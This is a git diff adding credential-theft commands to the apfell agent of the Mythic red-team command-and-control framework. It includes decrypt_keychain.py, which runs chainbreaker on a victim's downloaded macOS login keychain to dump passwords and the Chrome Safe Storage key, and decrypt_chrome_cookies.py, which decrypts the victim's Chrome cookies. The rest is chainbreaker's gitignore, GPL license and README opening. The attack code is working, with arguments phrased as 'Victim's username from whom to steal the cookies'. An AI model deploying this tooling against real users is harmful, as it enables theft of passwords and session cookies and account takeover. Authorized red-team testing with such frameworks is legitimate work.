chrome_password.response[0]["credential"], + "file_id": f["agent_file_id"] + }, + subtask_callback_function="decrypted_cookies") + if cookie_decrypt_task.status == MythicRPCStatus.Success: + return task + else: + await MythicRPC().execute("create_output", task=task.id, + output=cookie_decrypt_task.error) + task.status = MythicStatus("Error: Decrypt Cookie Error") + else: + await MythicRPC().execute("create_output", task=task.id, + output=f"Failed to find a chrome storage password for {task.args.get_arg('username')}") + task.status = MythicStatus("Error: Failed to Find Chrome Storage Password") + else: + await MythicRPC().execute("create_output", + task_id=task.id, + output="Login Keychain decryption failed, not continuing on to decrypt cookies") + return task + + async def decrypted_cookies(self, task: MythicTask, subtask: dict = None, + subtask_group_name: str = None) -> MythicTask: + if subtask["status"] == "completed": + task.status = MythicStatus.Completed + return task + else: + task.status = MythicStatus("Error: cookie decryption failed") + return task + diff --git a/Payload_Type/apfell/mythic/agent_functions/decrypt_chrome_cookies.py b/Payload_Type/apfell/mythic/agent_functions/decrypt_chrome_cookies.py new file mode 100644 index 0000000..fb5f38b --- /dev/null +++ b/Payload_Type/apfell/mythic/agent_functions/decrypt_chrome_cookies.py @@ -0,0 +1,167 @@ +from mythic_payloadtype_container.MythicCommandBase import * +import json +import os +from mythic_payloadtype_container.MythicRPC import * +from pycookiecheat.pycookiecheat import crisp +import base64 + + +class DecryptChromeCookiesArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + display_name="Chrome Safe Storage Password", + name="password", + type=ParameterType.Credential_Value, + description="Chrome safe storage password from the user's keychain", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=1 + ) + ] + ), + CommandParameter( + name="username", + type=ParameterType.String, + description="Victim's username from whom to steal the cookies", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=2 + ) + ] + ), + CommandParameter( + name="file_id", + type=ParameterType.String, + description="File ID for the Cookie file to parse", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=3 + ) + ] + ), + ] + + async def parse_arguments(self): + self.load_args_from_json_string(self.command_line) + + +class DecryptChromeCookiesCommand(CommandBase): + cmd = "decrypt_chrome_cookies" + needs_admin = True + help_cmd = "decrypt_chrome_cookies -password \"chrome safe storage password\" -username {username}" + description = "Uses the chrome safe storage password to decrypts the cookies that were downloaded for this user" + version = 1 + supported_ui_features = [""] + author = "@antman" + parameters = [] + attackmapping = ["T1539", "T1555"] + script_only = True + argument_class = DecryptChromeCookiesArguments + + async def process_response(self, response: AgentResponse): + pass + + async def create_tasking(self, task: MythicTask) -> MythicTask: + ## write the cookies file to a new file on disk + getCookiesResp = await MythicRPC().execute("get_file", + task_id=task.id, + file_id=task.args.get_arg("file_id"), + max_results=1, + get_contents=True) + if getCookiesResp.status == MythicRPCStatus.Success and len(getCookiesResp.response) > 0: + getCookiesResp = getCookiesResp.response[0] + else: + await MythicRPC().execute("create_output", task_id=task.id, + output="Encountered an error attempting to get downloaded file: " + getCookiesResp.error) + remove_temp_files() + task.status = MythicStatus("Error: Failed to get cookies file") + return task + + try: + f = open("tmp_Cookies", "wb") + f.write(base64.b64decode(getCookiesResp["contents"])) + f.close() + except Exception as e: + await MythicRPC().execute("create_output", task_id=task.id, + output="Encountered an error attempting to write the Cookies to a file: " + str(e)) + remove_temp_files() + task.status = MythicStatus("Error: Failed to write file to disk") + return task + + cookie_args = {"cookies_file": "/Mythic/mythic/tmp_Cookies", + "key": task.args.get_arg("password"), + "output": "cookies.json"} + + ## Decrypt Cookies file + try: + crisp(cookie_args) + if os.path.isfile("cookies.json"): + if os.path.getsize("cookies.json") != 0: + + json_file = open("cookies.json", "r") + json_load = json.load(json_file) + cookie_dump = json.dumps(json_load, indent=4) + await MythicRPC().execute("create_output", + task_id=task.id, + output=f"[*] Cookies Decrypted:\n{cookie_dump}") + json_file.close() + cookie_file_save_resp = await MythicRPC().execute("create_file", + task_id=task.id, + file=base64.b64encode(cookie_dump.encode()).decode(), + delete_after_fetch=False, + saved_file_name="cookies.json", + comment=f"{task.args.get_arg('username')}'s Decrypted Cookies") + if cookie_file_save_resp.status == MythicRPCStatus.Success: + await MythicRPC().execute("create_output", + task_id=task.id, + output="\nCookie file saved to files (uploads)") + else: + await MythicRPC().execute("create_output", + task_id=task.id, + output="Cookie File failed to save") + else: + await MythicRPC().execute("create_output", + task_id=task.id, + output="No cookies found in Cookies file") + else: + await MythicRPC().execute("create_output", + task_id=task.id, + output="cookie.json file failed on creation") + remove_temp_files() + task.status = MythicStatus("Error: Failed to decrypt cookies") + return task + + except Exception as e: + await MythicRPC().execute("create_output", + task_id=task.id, + output="PyCookieCheat script failed with error: " + str(e)) + remove_temp_files() + task.status = MythicStatus("Error: Failed to decrypt cookies") + return task + # Remove the Cookies file from disk + remove_temp_files() + task.status = MythicStatus.Completed + return task + + +def remove_temp_files(): + try: + if os.path.isfile('/Mythic/mythic/tmp_Cookies'): + os.remove('/Mythic/mythic/tmp_Cookies') + except Exception as e: + raise Exception("Failed to remove apfell/mythic/tmp_Cookies file") + try: + if os.path.isfile('/Mythic/mythic/cookies.json'): + os.remove('/Mythic/mythic/cookies.json') + except Exception as e: + raise Exception("Failed to remove apfell/mythic/cookies.json file") + try: + if os.path.isfile('/Mythic/mythic/tmp_login.keychain-db'): + os.remove('/Mythic/mythic/tmp_login.keychain-db') + except Exception as e: + raise Exception("Failed to remove apfell/mythic/tmp_login.keychain-db") diff --git a/Payload_Type/apfell/mythic/agent_functions/decrypt_keychain.py b/Payload_Type/apfell/mythic/agent_functions/decrypt_keychain.py new file mode 100644 index 0000000..b3ca6af --- /dev/null +++ b/Payload_Type/apfell/mythic/agent_functions/decrypt_keychain.py @@ -0,0 +1,190 @@ +from mythic_payloadtype_container.MythicCommandBase import * +import os +from mythic_payloadtype_container.MythicRPC import * +import sys +import base64 +import asyncio + + +class DecryptKeychainArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + display_name="User Login Password", + name="password", + type=ParameterType.String, + description="p@55w0rd_here for user login", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=1 + ) + ] + ), + CommandParameter( + name="username", + type=ParameterType.String, + description="Victim's username from whom to steal the cookies", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=2 + ) + ] + ), + CommandParameter( + name="file_id", + type=ParameterType.String, + description="File id of the user's already download login keychain", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=3 + ) + ] + ), + ] + + async def parse_arguments(self): + self.load_args_from_json_string(self.command_line) + + +class DecryptKeychainCommand(CommandBase): + cmd = "decrypt_keychain" + needs_admin = False + help_cmd = "decrypt_keychain -password \"user account password\" -username {username}" + description = "Decrypts the keychain and stores credentials in Mythic's credential store." + version = 1 + supported_ui_features = [""] + author = "@antman" + parameters = [] + attackmapping = ["T1539", "T1555"] + argument_class = DecryptKeychainArguments + script_only = True + + async def process_response(self, response: AgentResponse): + pass + + async def create_tasking(self, task: MythicTask) -> MythicTask: + password = task.args.get_arg("password") + getkeychainDBResp = await MythicRPC().execute("get_file", + task_id=task.id, + file_id=task.args.get_arg("file_id"), + limit_by_callback=True, + max_results=1, + get_contents=True) + if getkeychainDBResp.status == MythicRPCStatus.Success and len(getkeychainDBResp.response) > 0: + getkeychainDBResp = getkeychainDBResp.response[0] + else: + await MythicRPC().execute("create_output", task_id=task.id, + output="Encountered an error attempting to get downloaded file: " + getkeychainDBResp.error) + task.status = MythicStatus("Error: Failed to get keychain file") + return task + + ## Write the downloaded login.keychain-db file to a new file on disk + try: + f = open("tmp_login.keychain-db", "wb") + f.write(base64.b64decode(getkeychainDBResp["contents"])) + f.close() + except Exception as e: + await MythicRPC().execute("create_output", task_id=task.id, + output="Encountered an error attempting to write the keychainDB to a file: " + str(e)) + remove_temp_files() + task.status = MythicStatus("Error: Failed to write file to disk") + return task + ## Decrypt Keychain and export keys to files + try: + proc = await asyncio.create_subprocess_shell( + f"python2 /Mythic/mythic/chainbreaker/chainbreaker.py --password=\"{password}\" --dump-generic-passwords tmp_login.keychain-db", + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + stdout, stderr = await proc.communicate() + stdout = stdout.decode() + stderr = stderr.decode() + await MythicRPC().execute("create_output", + task_id=task.id, + output=f"Keychain Decrypted:\n{stdout}\n\nErrors from Decrypting:\n{stderr}") + if len(stderr) > 0: + task.status = MythicStatus("Error: Chainbreaker failed") + return task + except Exception as e: + await MythicRPC().execute("create_output", task_id=task.id, + output="Chainbreaker script failed with error: " + str(e)) + task.status = MythicStatus("Error: Chainbreaker failed") + return task + ## Remove the login.keychain-db file from disk + remove_temp_files() + + ## parse the Chrome Safe Storage key from the coresponding keychain password dump file + ccs_passwords = [] + ccs_item = { + "account": "", + "comment": "", + "credential": "", + "realm": "" + } + chrome_storage_password = "" + for line in stdout.split("\n"): + if "[+] Generic Password Record" in line: + sys.stdout.flush() + if ccs_item["credential"] != "": + ccs_passwords.append({ + "account": ccs_item["account"], + "comment": ccs_item["comment"], + "credential": ccs_item["credential"], + "realm": ccs_item["realm"] + }) + if ccs_item["realm"] == "Chrome Safe Storage": + chrome_storage_password = ccs_item["credential"] + ccs_item = { + "account": "", + "comment": "", + "credential": "", + "realm": "" + } + elif "[-] Print Name:" in line: + ccs_item["comment"] = ccs_item["comment"] + line.split(":")[-1].strip() + f" {task.args.get_arg('username')}" + elif "[-] Account:" in line: + ccs_item["account"] = line.split(":")[-1].strip() + elif "[-] Service:" in line: + ccs_item["realm"] = line.split(":")[-1].strip() + elif "Password:" in line: + ccs_item["credential"] = line.split(":")[-1].strip() + if ccs_item["credential"] != "": + ccs_passwords.append(ccs_item) + await MythicRPC().execute("create_output", task_id=task.id, + output="\n-----------------\n") + for cred in ccs_passwords: + create_cred_resp = await MythicRPC().execute("create_credential", + task_id=task.id, + credential_type="plaintext", + account=cred["account"], + realm=cred["realm"], + credential=cred["credential"], + comment=cred["comment"]) + if create_cred_resp.status == MythicRPCStatus.Success: + await MythicRPC().execute("create_output", + task_id=task.id, + output=f"[*] Added credential for {cred['realm']}\n") + task.status = MythicStatus.Completed + return task + + +def remove_temp_files(): + try: + if os.path.isfile('/Mythic/mythic/tmp_Cookies'): + os.remove('/Mythic/mythic/tmp_Cookies') + except Exception as e: + raise Exception("Failed to remove apfell/mythic/tmp_Cookies file") + try: + if os.path.isfile('/Mythic/mythic/cookies.json'): + os.remove('/Mythic/mythic/cookies.json') + except Exception as e: + raise Exception("Failed to remove apfell/mythic/cookies.json file") + try: + if os.path.isfile('/Mythic/mythic/tmp_login.keychain-db'): + os.remove('/Mythic/mythic/tmp_login.keychain-db') + except Exception as e: + raise Exception("Failed to remove apfell/mythic/tmp_login.keychain-db") diff --git a/Payload_Type/apfell/mythic/agent_functions/load.py b/Payload_Type/apfell/mythic/agent_functions/load.py index 2b9282f..68ed1ad 100644 --- a/Payload_Type/apfell/mythic/agent_functions/load.py +++ b/Payload_Type/apfell/mythic/agent_functions/load.py @@ -45,22 +45,45 @@ class LoadCommand(CommandBase): async def create_tasking(self, task: MythicTask) -> MythicTask: total_code = "" - for cmd in task.args.get_arg("commands"): - cmd = cmd.strip() - try: - code_path = self.agent_code_path / "{}.js".format(cmd) - total_code += open(code_path, "r").read() + "\n" - except Exception as e: - raise Exception("Failed to find code for '{}'".format(cmd)) - resp = await MythicRPC().execute("create_file", task_id=task.id, - file=base64.b64encode(total_code.encode()).decode(), - comment="Loading the following commands: " + task.args.command_line - ) - if resp.status == MythicStatus.Success: - task.args.add_arg("file_id", resp.response["agent_file_id"]) - task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}" + commands = await MythicRPC().execute("get_commands", + payload_type_name="apfell", + commands=task.args.get_arg("commands"), + os="macOS") + if commands.status == "success": + for cmd in commands.response: + if cmd["script_only"]: + # trying to load a script only command, so just tell mythic to load it + add_resp = await MythicRPC().execute("add_commands_to_callback", + task_id=task.id, + commands=[cmd["cmd"]]) + if add_resp.status != "success": + await MythicRPC().execute("create_output", task_id=task.id, + output="Failed to add command to callback: " + add_resp.error) + else: + try: + code_path = self.agent_code_path / "{}.js".format(cmd["cmd"]) + total_code += open(code_path, "r").read() + "\n" + except Exception as e: + await MythicRPC().execute("create_output", + task_id=task.id, + output=f"Failed to find code for {cmd['cmd']}, skipping it\n") + if total_code != "": + resp = await MythicRPC().execute("create_file", task_id=task.id, + file=base64.b64encode(total_code.encode()).decode(), + comment="Loading the following commands: " + task.args.command_line + ) + if resp.status == MythicStatus.Success: + task.args.add_arg("file_id", resp.response["agent_file_id"]) + task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}" + else: + raise Exception("Failed to register file: " + resp.error) + else: + task.status = "completed" + task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}" + await MythicRPC().execute("create_output", task_id=task.id, + output="Loaded commands") else: - raise Exception("Failed to register file: " + resp.error) + raise Exception("Failed to fetch commands from Mythic: " + commands.error) return task async def process_response(self, response: AgentResponse): diff --git a/Payload_Type/apfell/mythic/chainbreaker/.gitignore b/Payload_Type/apfell/mythic/chainbreaker/.gitignore new file mode 100644 index 0000000..2eb5695 --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/.gitignore @@ -0,0 +1,266 @@ +*.pyc +exported/ + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider +# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 + +# User-specific stuff +.idea/**/workspace.xml +.idea/**/tasks.xml +.idea/**/usage.statistics.xml +.idea/**/dictionaries +.idea/**/shelf + +# Generated files +.idea/**/contentModel.xml + +# Sensitive or high-churn files +.idea/**/dataSources/ +.idea/**/dataSources.ids +.idea/**/dataSources.local.xml +.idea/**/sqlDataSources.xml +.idea/**/dynamic.xml +.idea/**/uiDesigner.xml +.idea/**/dbnavigator.xml + +# Gradle +.idea/**/gradle.xml +.idea/**/libraries + +# Gradle and Maven with auto-import +# When using Gradle or Maven with auto-import, you should exclude module files, +# since they will be recreated, and may cause churn. Uncomment if using +# auto-import. +# .idea/artifacts +# .idea/compiler.xml +# .idea/jarRepositories.xml +# .idea/modules.xml +# .idea/*.iml +# .idea/modules +# *.iml +# *.ipr + +# CMake +cmake-build-*/ + +# Mongo Explorer plugin +.idea/**/mongoSettings.xml + +# File-based project format +*.iws + +# IntelliJ +out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Cursive Clojure plugin +.idea/replstate.xml + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties + +# Editor-based Rest Client +.idea/httpRequests + +# Android studio 3.1+ serialized cache file +.idea/caches/build_file_checksums.ser + +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +# Windows thumbnail cache files +Thumbs.db +Thumbs.db:encryptable +ehthumbs.db +ehthumbs_vista.db + +# Dump file +*.stackdump + +# Folder config file +[Dd]esktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msix +*.msm +*.msp + +# Windows shortcuts +*.lnk diff --git a/Payload_Type/apfell/mythic/chainbreaker/LICENSE b/Payload_Type/apfell/mythic/chainbreaker/LICENSE new file mode 100644 index 0000000..d159169 --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Payload_Type/apfell/mythic/chainbreaker/README.md b/Payload_Type/apfell/mythic/chainbreaker/README.md new file mode 100644 index 0000000..8883dba --- /dev/null +++ b/Payload_Type/apfell/mythic/chainbreaker/README.md @@ -0,0 +1,305 @@ +Chainbreaker2 +============ + +Chainbreaker can be used to extract the following types of information from an OSX keychain in a forensically sound manner: + +* Hashed Keychain password, suitable for cracking with [hashcat](https://hashcat.net/hashcat/) or + [John the Ripper](https://www.openwall.com/john/) +* 